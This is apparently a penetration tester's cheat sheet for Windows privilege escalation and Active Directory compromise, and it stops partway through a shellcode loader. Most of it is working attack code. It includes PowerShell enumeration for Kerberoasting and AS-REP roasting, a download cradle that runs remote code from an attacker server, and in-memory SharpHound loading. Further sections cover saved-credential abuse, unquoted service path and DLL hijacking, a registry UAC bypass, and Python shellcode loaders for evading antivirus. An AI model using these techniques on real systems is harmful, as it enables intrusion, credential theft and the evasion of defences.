LPE/HOST


Dumb reminders
- Domain user can be member of a machine localgroup, you need to try to spread creds on differents protocols (rdp, wmi, smb, winrm, mssql …)
- One user (domain or local) can probably access multiple machines
- Admins often leave creds cache on machines
- Code execution is not always the main objective, sometimes creds juste give a share access

Misc

# Infos about current session
$SecurityPrinciple = New-Object -TypeName System.Security.Principal.WindowsPrincipal -ArgumentList ([System.Security.Principal.WindowsIdentity]::GetCurrent());$RolesHash = @{};[System.Enum]::GetNames("System.Security.Principal.WindowsBuiltInRole")|ForEach-Object{$RolesHash[$_]=$SecurityPrinciple.IsInRole([System.Security.Principal.WindowsBuiltInRole]::$_)};$RolesHash;[System.Security.Principal.WindowsIdentity]::GetCurrent()

# Files
ls / -Force ; ls /users/ ; ls /users/* ; ls /users/*/* ; ls /users/*/*/*

# Recursively list current dir
Get-ChildItem . -File -Recurse -ErrorAction SilentlyContinue -Force | Select Length, FullName |Out-String -width 999
Get-ChildItem . -File -Recurse -ErrorAction SilentlyContinue -Force | Where-Object {$_.LastWriteTime -ge "01/01/2024" -and $_.LastWriteTime -le "12/25/2029"} | Select Length, FullName, LastWriteTime |Out-String -width 999
CMD.EXE /C dir /s/b *

# Recursively list Alternate Data Streams
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data' # Get-Content -path C:\users\mak\demo.txt:ads.txt -stream *

# Recursively list writable files/folders (using ACL)
$id=[Security.Principal.WindowsIdentity]::GetCurrent();$gr=($id.Groups|%{"$($_.Translate([Security.Principal.NTAccount]))"})+("$($id.Name)");$rl=("FullControl","AppendData","CreateFiles","Modify","Write");gci . -Recurse -ErrorAction SilentlyContinue -Force|%{$fn=$_.Fullname;(gi $fn).GetAccessControl().Access|%{If($gr.contains("$($_.IdentityReference)")-and($_.AccessControlType-eq"Allow")){"$($_.FileSystemRights)"-split", "|%{if($rl.contains($_)){$fn;$fn=$null}}}}} 2>$null

# Get owner of a file or a folder
get-item "C:\Windows"| Select-Object fullname, LastAccessTime, LastWriteTime, CreationTime, @{N='Owner';E={$_.GetAccessControl().Owner}}

# PS history
cat (Get-PSReadlineOption).HistorySavePath
ls C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Search for files
Get-ChildItem -Include proof.txt, local.txt, *.kdbx -Path / -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users -Include *.kdbx,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.ini -File -Recurse -ErrorAction SilentlyContinue

# Users
net user
$lu=([ADSI]"WinNT://$env:COMPUTERNAME").Children|where{$_.SchemaClassName-eq'user'};$lu|%{"-"*50;"NAME "+$_.Name;"LAST $($_.LastLogin)";"DISABLED $($_.AccountDisabled)";$_.Groups()|%{"• "+$_.GetType().InvokeMember('Name','GetProperty',$null,$_,$null)}} 2>$null

# Groups
net localgroup "Administrators"; net localgroup "Remote Management Users" ; net localgroup "Remote Desktop Users"
$lg=([ADSI]"WinNT://$env:COMPUTERNAME").Children|where{$_.SchemaClassName-eq'group'};$lg|%{"-"*50;$_.Name;$_.Invoke("Members")|%{" • "+$_.GetType().InvokeMember("ADsPath","GetProperty",$null,$_,$null)}}
$lg=([ADSI]"WinNT://$env:COMPUTERNAME").Children|where{$_.SchemaClassName-eq'group'-and@('S-1-5-32-544','S-1-5-32-555','S-1-5-32-562','S-1-5-32-580')-contains(New-Object System.Security.Principal.SecurityIdentifier($_.objectSid[0],0)).Value};$lg|%{"-"*50;$_.Name;$_.Invoke("Members")|%{"• "+$_.GetType().InvokeMember("ADsPath","GetProperty",$null,$_,$null)}}

# Creds
cmdkey /list # Go to the creds part if any user here

# TaskScheduler logs ?????? (last 10 events)
CMD.EXE /C wevtutil.exe qe Microsoft-Windows-TaskScheduler/Operational /f:text /c:10

# PowerShell Script Block Logging (just list events by user)
Get-WinEvent -FilterHashtable @{ logname = "*Operational"; id = 4104 }  | select RecordId, TimeCreated, @{name='UserName';expression= {$_.UserId.Translate([System.Security.Principal.NTAccount])}}, MachineName, LevelDisplayName | Sort-Object -Property RecordId|Format-Table -AutoSize|Out-String -width 999
# PowerShell Script Block Logging (print all messages)
Get-WinEvent -FilterHashtable @{ logname = "*Operational"; id = 4104 }  | select RecordId, TimeCreated, @{name='UserName';expression= {$_.UserId.Translate([System.Security.Principal.NTAccount])}}, LevelDisplayName, MachineName, Message | Sort-Object -Property RecordId

# Listening ports
netstat -aon
Get-NetTCPConnection -State Listen | select LocalPort, LocalAddress, OwningProcess | Sort-Object LocalPort | ConvertTo-Csv

# Process
[System.Diagnostics.Process]::GetCurrentProcess()|select * # Current process info
[System.Diagnostics.Process]::GetProcesses()|where {$_.Path -notmatch "^$" -and $_.Company -notmatch "Microsoft*" -and $_.ProcessName -notmatch "svchost|msedge|Widgets|ShellExperience|msteams|StartMenu|SearchHost"} | Select ID,SI,Path|Format-Table -AutoSize|Out-String -width 9999
Get-WmiObject Win32_Process | where {$_.Path -notmatch "^$" -and $_.Company -notmatch "Microsoft*" -and $_.ProcessName -notmatch "svchost|msedge|Widgets|ShellExperience|msteams|StartMenu|SearchHost"} | Select ExecutablePath,@{Label="Owner";Expression={$_.GetOwner().User}},Handle,CommandLine|Format-Table -AutoSize|Out-String -width 9999
Get-WmiObject Win32_Process |Select name,@{Label="Owner";Expression={$_.GetOwner().User}},ProcessId,CommandLine|Format-Table -AutoSize|Out-String -width 9999

# Softs
ls /program*/*
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|Format-Table|Out-String -width 9999
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|Format-Table|Out-String -width 9999
Get-WmiObject -Class Win32_Product | select Vendor,Name,Version |Format-Table|Out-String -width 9999

# Tasks
CMD /C "schtasks.exe /Query /FO CSV /V" | ConvertFrom-CSV | where{$_.Author-notmatch "Microsoft*|^$|SYSTEM|^*SystemRoot*|N/A|Author"}|ForEach-Object{"-"*100;$_}|Out-String -width 9999
Get-ScheduledTask|where{$_.Author-notmatch "Microsoft*|^$|SYSTEM|^*SystemRoot*"}|ForEach-Object{"-"*100;schtasks.exe /query /fo LIST /v /tn $_.URI}|Out-String -width 9999

#schtasks /create /sc minute /mo 60 /tn "TASK1" /tr "C:\test\r.exe" # /ru SYSTEM /RL HIGHEST
#schtasks /run /tn "TASK1"
#schtasks /delete /tn "TASK1" /f

# Default programs for extensions types
CMD /C Ftype # List of programs <> type
CMD /C Assoc # List of extensions <> type


Domain info


net user johndoe /domain
net group /domain "Domain Admins"
net group /domain "Protected Users"
echo "$env:logonserver" 2>&1
Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem | Select Name, Domain
Get-WmiObject -Class Win32_NTDomain | select DomainControllerName, DomainControllerAddress, DomainName, DnsForestName
Test-ComputerSecureChannel -Verbose # -Server "DC01.domain.com"

# Retrieve infos with LDAP queries
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();$domainObj;$domainObj.DomainControllers | Foreach { Write-Host ... $_.Name ... $_.IPAddress }
$LDAP = "LDAP://" + $domainObj.PdcRoleOwner.Name + "/" + ([adsi]'').distinguishedName
$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)
$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter="";$ALL = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=user";$users = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=group";$groups = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=computer";$computers = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=groupPolicyContainer";$GPOs = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=domainDNS";$domainDNS = $dirsearcher.FindAll()
$dirsearcher.filter="(&(isCriticalSystemObject=TRUE))";$CriticalSystemObjects = $dirsearcher.FindAll()

# Check Machine Account Quota (if > 0 you can try to perform RBCD attack based on added computer, protected users can't be impersonated)
foreach ($obj in $domainDNS) { $quota = $obj.Properties["ms-ds-machineaccountquota"]; if ($quota -ne $Null ){  Write-Host $quota $obj.Path }}

# Print user list
$users.Properties.samaccountname

# Print users and list groups if any, check for admincount property and read some userAccountControl flags.
# userAccountControl flags list : https://learn.microsoft.com/en-us/windows/win32/api/iads/ne-iads-ads_user_flag_enum
Foreach($obj in $users)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = ""
    $ADS_USER_FLAGS = @{ SCRIPT = 0x1; ACCOUNTDISABLE = 0x2; HOMEDIR_REQUIRED = 0x8; LOCKOUT = 0x10; PASSWD_NOTREQD = 0x20; PASSWD_CANT_CHANGE = 0x40; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; TEMP_DUPLICATE_ACCOUNT = 0x100; INTERDOMAIN_TRUST_ACCOUNT = 0x800; WORKSTATION_TRUST_ACCOUNT = 0x1000; SERVER_TRUST_ACCOUNT = 0x2000; DONT_EXPIRE_PASSWD = 0x10000; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; PASSWORD_EXPIRED = 0x800000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
    foreach ($FLAG in $ADS_USER_FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $ADS_USER_FLAGS[$FLAG])){ $state += " $FLAG" } }
    if ( $obj.Properties['admincount'] -ne $null ){ $state += " ADMINCOUNT" }
    if ($name -ne $sam){ $name = "$sam --- $name" };
    Write-Host "USERS# --- $name ---$state" -ForegroundColor Green
    $memberof = $obj.Properties['memberof'] ; $scriptPath = $obj.Properties['scriptPath']
    if ( $memberof -ne $null){ $memberof | ForEach-Object { "USERS#     $_" } }
    if ( $scriptPath -ne $null){ "USERS#     LOGON SCRIPT: $scriptPath"}; "USERS#     "
}

# Print populated groups, check for admincount property
Foreach($obj in $groups)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $member = $obj.Properties['member']; $admincount = $obj.Properties['admincount']
    if ( $admincount -ne $null ){ $admincount = "(ADMINCOUNT)" }
    if ( $member -ne $null){
        if ($name -ne $sam){ $name = "$sam --- $name" }
        Write-Host "GROUPS# --- $name --- $admincount" -ForegroundColor Green
        $member | ForEach-Object { "GROUPS#     $_" } -end { "GROUPS#" }
    }
}

# List computers with os version
Foreach($obj in $computers)
{
    $name = $obj.Properties['dnshostname']; $state = ""
    $FLAGS = @{ SCRIPT = 0x1; ACCOUNTDISABLE = 0x2; HOMEDIR_REQUIRED = 0x8; LOCKOUT = 0x10; PASSWD_NOTREQD = 0x20; PASSWD_CANT_CHANGE = 0x40; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; TEMP_DUPLICATE_ACCOUNT = 0x100; INTERDOMAIN_TRUST_ACCOUNT = 0x800; WORKSTATION_TRUST_ACCOUNT = 0x1000; SERVER_TRUST_ACCOUNT = 0x2000; DONT_EXPIRE_PASSWD = 0x10000; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; PASSWORD_EXPIRED = 0x800000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
    foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } }
    if ( $obj.Properties['admincount'] -ne $null ){ $state += " ADMINCOUNT" }
    $os = $obj.Properties['operatingsystem']; $osversion = $obj.Properties['operatingsystemversion']
    Write-Host "COMPUTERS#     $name -- $os -- $osversion -- $state"
}

# List users SPNs (Users are Kerberoastable but you can also list others SPNs instead of users)
foreach($obj in $users)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"];
    $serviceprincipalname = $obj.Properties['serviceprincipalname']
    if ($serviceprincipalname -ne $null){
        if ($name -ne $sam){ $name = "$sam --- $name" }
        Write-Host "SPN# --- $name --- " -ForegroundColor Green
        $serviceprincipalname | ForEach-Object { "SPN#     $_" } -end { "SPN#" }
    }
}

# List unusual user flags (DONT_REQUIRE_PREAUTH flag means the account is AS REP Roastable)
Foreach($obj in $users)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = ""
    $FLAGS = @{ PASSWD_NOTREQD = 0x20; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; INTERDOMAIN_TRUST_ACCOUNT = 0x800; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
    foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } }
    if ( (-not [bool]($obj.Properties["userAccountControl"][0] -band 0x100000)) -and ($obj.Properties['admincount'] -ne $null)){ $state += " DELEGATED_ADMIN" } #Delegated and admin
    if ( [bool]($obj.Properties["userAccountControl"][0] -band 0x2)){ continue } #Disabled
    if ($name -ne $sam){ $name = "$sam --- $name" }
    if ( $state -ne "" ){Write-Host "USERS# --- $name ---$state"}
}

# List unusual computer flags (if TRUSTED_FOR_DELEGATION and not a DC check for Unconstrained Delegation, and if TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION for constrained)
Foreach($obj in $computers)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = ""
    $FLAGS = @{ ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; INTERDOMAIN_TRUST_ACCOUNT = 0x800; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
    foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } }
    if ( [bool]($obj.Properties["userAccountControl"][0] -band 0x2)){ continue } #Disabled
    if ($name -ne "$sam".replace('$','')){ $name = "$sam --- $name" }
    if ( $state -ne "" ){Write-Host "COMPUTERS# --- $sam ---$state"}
}

# List ACLs, exclude CriticalSystemObjects, exclude Inherited, filter on domain objects
$CriticalSystemObjectsSID = $CriticalSystemObjects | ForEach-Object { $sid = $_.Properties["objectSid"][0] ; if ($sid -ne $null){(New-Object System.Security.Principal.SecurityIdentifier($_.Properties["objectSid"][0],0)).Value }}
$DomainObjects = $users + $computers + $groups + $GPOs
$DomainObjectsSID = $DomainObjects | ForEach-Object { $sid = $_.Properties["objectSid"][0] ; if ($sid -ne $null){(New-Object System.Security.Principal.SecurityIdentifier($_.Properties["objectSid"][0],0)).Value }}
Foreach($obj in $DomainObjects)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]
    $aclList = (New-Object System.DirectoryServices.DirectoryEntry($obj.Path)).PSBase.ObjectSecurity.GetAccessRules($true, $false, [System.Security.Principal.SecurityIdentifier])
    $Identities = @{}; foreach($ACL in $aclList){try{
        if ( $CriticalSystemObjectsSID.Contains($ACL.IdentityReference.Value) ){ continue }
        if ( -Not $DomainObjectsSID.Contains($ACL.IdentityReference.Value) ){ continue }
        $Identity = (New-Object System.Security.Principal.SecurityIdentifier($ACL.IdentityReference)).Translate([System.Security.Principal.NTAccount]).Value
        $Rights = $ACL.ActiveDirectoryRights ; $Rights = "$Rights".replace(" ","").Split(",")
        if ( $Identities["$Identity"] -eq $Null ){ $Identities["$Identity"] = @($Rights) } else { $Identities["$Identity"] += $Rights }
    }catch{}} ; if ($name -ne "$sam".replace('$','')){ $name = "$sam --- $name" }
    foreach ($Identity in $Identities.Keys) { Write-host "ACE# -- $sam <-- $Identity ($(($Identities.$Identity|Sort-Object -Unique) -join ", "))"}
}

# List GPOs
$GPOs | ForEach-Object { $p=$_.Properties; $r = "GPO# $($p.name) -- $($p.displayname) -- Created $($p.whencreated)"; $r = [string]::join("",($r.Split("`n"))); Write-host $r }

# List GPOs by object in domain
Foreach($obj in $ALL)
{
    $gplink = $obj.Properties.gplink; if ( $gplink -eq $null ){ continue }
    $gpoptions = $obj.Properties.gpoptions
    $name = $obj.Properties["name"]; $desc = $obj.Properties["description"]; $dn = $obj.Properties["distinguishedname"]; $category = $obj.Properties["objectCategory"]
    Write-host "GPO# -- $name -- $desc -- $dn -- $category -- gpoptions:'$gpoptions'" -ForegroundColor Green
    $gplink | ForEach-Object {
        $_ -match ".*({.*}).*;(\w+)"| Out-Null; $gpoid = $matches[1]; $status = $matches[2]
        $statusdesc = switch($status){0{"LinkEnabled"}1{"LinkDisabled"}2{"LinkEnabled Enforced"}3{"Enforced"}}
        $GPOs | ForEach-Object { if ( $_.Properties.name -eq $gpoid ){$gpodisplayname = $_.Properties.displayname}}
        Write-host "GPO#    GPO: $gpoid -- $status=$statusdesc -- $gpodisplayname"
    } -end { "GPO#" }
}

# List SYSVOL shares files of Domain Controllers (you can search for cpassword inside files)
foreach ($Server in $domainObj.DomainControllers.Name){
    $c=[System.Net.Sockets.TcpClient]::new();if($c.ConnectAsync($Server,445).Wait(300)){$c.Close()}else{continue}
    Get-ChildItem "\\$Server\SYSVOL\$($domainObj.Name)" -File -Recurse -ErrorAction SilentlyContinue -Force | Select Length, FullName |Out-String -width 999
}

# List Shares (test 445 for each computer with 300ms timeout, list shares and check if readable/writable)
foreach ($Server in $computers.Properties.dnshostname){
    $c=[System.Net.Sockets.TcpClient]::new();if($c.ConnectAsync($Server,445).Wait(300)){$c.Close()}else{continue}
    (net view $Server /all)|foreach{$infos=convertfrom-string $_.trim() -delim '\s{2,}' -propertynames 'Share','Type','UsedAs','Comment';
    if($infos.Type -eq 'Disk'){$shareName=$infos.Share;$state="";
    if([System.IO.Directory]::Exists("\\$Server\$shareName")){$state+="R"}else{$state+="-"}
    $f="\\$Server\$shareName\testwritable";Try{[io.file]::OpenWrite($f).close();Remove-Item $f;$state+="W"}Catch{$state+="-"}
    Write-Host " $state  \\$Server\$shareName   ## $($infos.UsedAs)   $($infos.Comment)"}}
}

# List sorted lastlogon
$lastlogon=@{};$users|%{$ll=$_.Properties["lastlogon"][0];if($ll-ne$null){$lastlogon[$_.Properties["samaccountname"][0]]=[datetime]::FromFileTimeUtc($ll)}};$lastlogon.GetEnumerator()|sort Value-Descending

In-Memory SharpHound (You need loadsc script from AV section, and embeddable 32bits python)
sudo wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe -O /var/www/html/SharpHound.exe
PARAMS='-c All'
INPUT_FILE='/var/www/html/SharpHound.exe'
SHELLCODE_OUTPUT_FILE='/tmp/SharpHoundsc'
ENCODED_PAYLOAD_FILE='/var/www/html/SharpHound'
python3 -c "import donut; donut.create(thread=1,compress=2,bypass=1,exit_opt=1,arch=1,file='$INPUT_FILE',output='$SHELLCODE_OUTPUT_FILE',params=bytes.fromhex('$( echo -en "$PARAMS" | xxd -plain | tr -d '\n' )').decode('utf-8'))"
cat "$SHELLCODE_OUTPUT_FILE" | xxd -plain | tr -d '\n' | rev | gzip | sudo tee "$ENCODED_PAYLOAD_FILE" >/dev/null

cat <<'EOF'|sudo tee /var/www/html/startSharpHound
$loadsc="$web/loadsc"; $sc="$web/SharpHound"; $python="$web/python32.zip"; $dir="$env:TEMP";
$Exists = Test-Path "$dir\python32\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python32.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python32.zip", "$dir\python32\")};
$arguments = @("-c","""import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')""")
Start-Process -NoNewWindow -FilePath "$dir\python32\python.exe" -ArgumentList $arguments
EOF
$web="http://192.168.1.123";IEX(New-Object Net.WebClient).downloadString("$web/startSharpHound")


Creds

SavedCreds

Start process as another user with runas (https://juggernaut-sec.com/runas/)
You probably need a GUI interface (rdp)
# Check for saved creds
cmdkey /list

# Usage
runas /user:DOMAIN\Administrator /savecred "cmd.exe /c whoami > c:\whoami.txt"
runas /user:DOMAIN\Administrator /savecred "c:\reverse\payload.exe"

# Search for other dpapi keys
Get-ChildItem -force "C:\users\*\appdata\roaming\microsoft\protect\*" -ErrorAction SilentlyContinue
Get-ChildItem -force "C:\users\*\appdata\roaming\microsoft\protect\*\*" -ErrorAction SilentlyContinue
Get-ChildItem -force "C:\users\*\appdata\roaming\microsoft\credentials\*" -ErrorAction SilentlyContinue

RunAS

RunasCs “is an improved and open version of windows builtin runas.exe that solves some limitations”
wget 1.2.3.4/RunasCs.exe -O RunasCs.exe
./RunasCs.exe user 'password' -d "domain" "whoami /all"
Powershell can use credentials as well
# powershell -ep bypass
$user = 'JohnDoe'
$pass = 'JohnDoePassword'
$cmd = '-c "whoami /all"'
$shell = 'POWERSHELL.EXE'
$domain = hostname # Modify if any or distant machine name
$passwd = ConvertTo-SecureString $pass -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential("$domain\$user", $passwd)

# No output
# Start-Process -FilePath $shell -Credential $cred -ArgumentList $cmd

# or retrieve stdout & stderr
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = $shell
$pinfo.UserName = $user
$pinfo.Domain = $domain
$pinfo.Password = ConvertTo-SecureString $pass -AsPlaintext -Force
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.CreateNoWindow = $true
$pinfo.Arguments = $cmd
$pinfo.WorkingDirectory = 'C:\'
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
$p.WaitForExit()
Write-Host "stdout: $stdout"
Write-Host "stderr: $stderr"
Write-Host "exit code: " + $p.ExitCode

WinRM

Start process as another user with WinRM protocol (localhost or remote target)
User must be part of “Remote Management Users” group
$user = 'JohnDoe'
$pass = 'JohnDoePassword'
$domain = hostname # Modify if !self
$machine = hostname # Modify if !self

Test-WsMan $machine # Test is WINRM service is available

$passwd = ConvertTo-SecureString $pass -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential("$domain\$user", $passwd)
$session = New-PSSession -ComputerName $machine -Credential $cred

Get-PSSession # List sessions

Enter-PSSession -session $session # Interactive PS session (PS commands only)
# Invoke-Command -session $session -scriptblock { whoami /all }
# Invoke-Command -session $session -scriptblock { powershell -c "ls" }

# Exit-PSSession
# exit 0
# Remove-PSSession $session

Services

# List services
Get-CimInstance -ClassName win32_service|Select Name,State,StartMode,StartName,PathName|Format-Table|Out-String -width 999|findstr /i /v /c:"\Windows" /c:"\Microsoft"

# If you don't have rights you can play with registry
$d='c:\services\';mkdir $d;(Get-ChildItem 'HKLM:\SYSTEM\CurrentControlSet\Services')|ForEach-Object{if($_.Property -match 'ImagePath'){$f=$d+$_.PSChildName;($_|Out-String)-split[Environment]::NewLine|Select-String -Pattern '^.*\s([a-z]+\s+\: .*)$'|ForEach-Object{$_.matches.groups[1].Value}|Out-File $f}};Get-ChildItem $d

# Retrieve infos about service
sc.exe qc "MyService"
sc.exe query "MyService"
$svc="MyService";$r=sc.exe sdshow $svc;$r=ConvertFrom-SddlString "$r";%{$r.DiscretionaryAcl-replace": AccessAllowed \(|, |\)","`n`t"} # Permissions
check for unquoted path :
If you see unquoted path : C:\dir\a b\c.exe instead of “C:\dir\a b\c.exe”
The system will try C:\dir\a.exe path first before “C:\dir\a b\c.exe”
If C:\dir\ is writable then you can add your payload at C:\dir\a.exe
(BTW folders created into C:\ have extended rights by default)
# Check if "C:\dir\" is writable, F (full access), AD (append data/add subdirectory), WD (write data/add file)
icacls "C:\dir\"
Put a payload at “C:\dir\a.exe”
Then start the service
# Start service
sc.exe start "MyService"

Look for dll you can replace (existing or missing ones)
Export the service PE file to your machine for investigation.
You can dynamically search for missing DLL with procmon, or statically search for DLL names into text section with rz-bin
rz-bin -zzz /tmp/share/myservice.exe | grep -i dll

UAC

Checks

You can check your integrity level with whoami /groups
For example if you are member of “Mandatory LabelMedium Mandatory Level” group you are in a medium integrity process

You can also check the SID number instead of the name
CMD.EXE /C whoami /groups|Select-String -Pattern '^.*S-1-16-([0-9]*).*$'|%{Switch($_.matches.groups[1]){0{"UNTRUSTED"}4096{"LOW"}8192{"MEDIUM"}8448{"MEDIUMPLUS"}12288{"HIGH"}16384{"SYSTEM"}20480{"PROTECTEDPROCESS"}}}

Then, check UAC status:
# 0x1 = UAC Enabled
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

# UAC mode : 5=default will prompt to confirm, 0 = Disabled, 1=Ask for password
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

# If set, disable UAC for: 0=RID500, 1=Administrators members
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v LocalAccountTokenFilterPolicy

# If 0 (default), the built-in Administrator account can do remote administration tasks and if 1 the built-in account Administrator cannot do remote administration tasks, unless LocalAccountTokenFilterPolicy is set to 1.
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v FilterAdministratorToken
If UAC doen’t affect you, then you can already run as admin
mkdir c:\r ; wget 10.10.14.121/r.exe -O  C:\r\r.exe
Start-Process powershell -Verb runAs "c:\r\r.exe"

Bypass

Use case:
You are into the administrators group but your session is in medium level integrity
You want to open an admin terminal or run a command as admin (High integrity)

reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "c:\r\r.exe" /f
mkdir c:\r ; wget 10.10.14.121/r.exe -O  C:\r\r.exe ; CMD.EXE /C start computerdefaults.exe

AV Bypass

Requirements:
- Web server (to host payloads)
- Connectivity between your target and your web server
- /var/www/html/python.zip (pick a stable version from https://www.python.org/downloads/windows/)
Installing donut package (transform exe to shellcode)
pip3 install -U donut-shellcode --break-system-packages

This python function load encoded shellcode payload from url and load it in-memory heap
cat <<'EOF'| xxd -plain | tr -d '\n' | rev | sudo tee /var/www/html/loadsc >/dev/null
import ctypes, ctypes.wintypes as wt
import gzip, io, urllib.request as r, platform as p

def load(url):
    print(f"[*] Given URL : {url}", flush=True)
    kernel32 = ctypes.windll.kernel32
    buff = bytes.fromhex(gzip.open(io.BytesIO(r.urlopen(url).read()),'rb').read()[::-1].decode("utf-8"))
    lenbuff = len(buff)
    HeapCreate = kernel32.HeapCreate
    HeapCreate.argtypes = [wt.DWORD, ctypes.c_size_t, ctypes.c_size_t]
    HeapCreate.restype = wt.HANDLE
    heap = HeapCreate(0x00040000, lenbuff, 0)
    HeapAlloc = kernel32.HeapAlloc
    HeapAlloc.argtypes = [wt.HANDLE, wt.DWORD, ctypes.c_size_t]
    HeapAlloc.restype = wt.LPVOID
    HeapAlloc(heap, 0x00000008, lenbuff)
    RtlMoveMemory = kernel32.RtlMoveMemory
    RtlMoveMemory.argtypes = [wt.LPVOID, wt.LPVOID, ctypes.c_size_t]
    RtlMoveMemory.restype = wt.LPVOID
    RtlMoveMemory(heap, buff, lenbuff); del buff ; print(f"[*] Loading SC, Len:{lenbuff}\n", flush=True)
    CreateThread = kernel32.CreateThread
    CreateThread.argtypes = [wt.LPVOID, ctypes.c_size_t, wt.LPVOID,wt.LPVOID, wt.DWORD, wt.LPVOID]
    CreateThread.restype = wt.HANDLE
    Thread = CreateThread(0, 0, heap, 0, 0, 0)
    WaitForSingleObject = kernel32.WaitForSingleObject
    WaitForSingleObject.argtypes = [wt.HANDLE, wt.DWORD]
    WaitForSingleObject.restype = wt.DWORD
    WaitForSingleObject(Thread, 0xFFFFFFFF); print(f"\n[*] Graceful exit", flush=True)
print(f"\n[*] {p.platform()} Python {p.python_version()} ({p.architecture()[0]})", flush=True)
EOF

This python function load encoded shellcode payload from url and load it in-memory with VirtualAlloc
cat <<'EOF'| xxd -plain | tr -d '\n' | rev | sudo tee /var/www/html/loadscva >/dev/null
import ctypes as c, gzip, io, urllib.request as r, platform as p
def load(url):
    print(f"[*] Given URL : {url}", flush=True)
    k32 = c.windll.kernel32 ; k32.VirtualAlloc.restype = c.c_void_p
    ct = k32.CreateThread ; ct.argtypes = ( c.c_int, c.c_int, c.c_void_p, c.c_int, c.c_int, c.POINTER(c.c_int) ) ; ct.restype = c.c_void_p
    buff = bytes.fromhex(gzip.open(io.BytesIO(r.urlopen(url).read()),'rb').read()[::-1].decode("utf-8"))
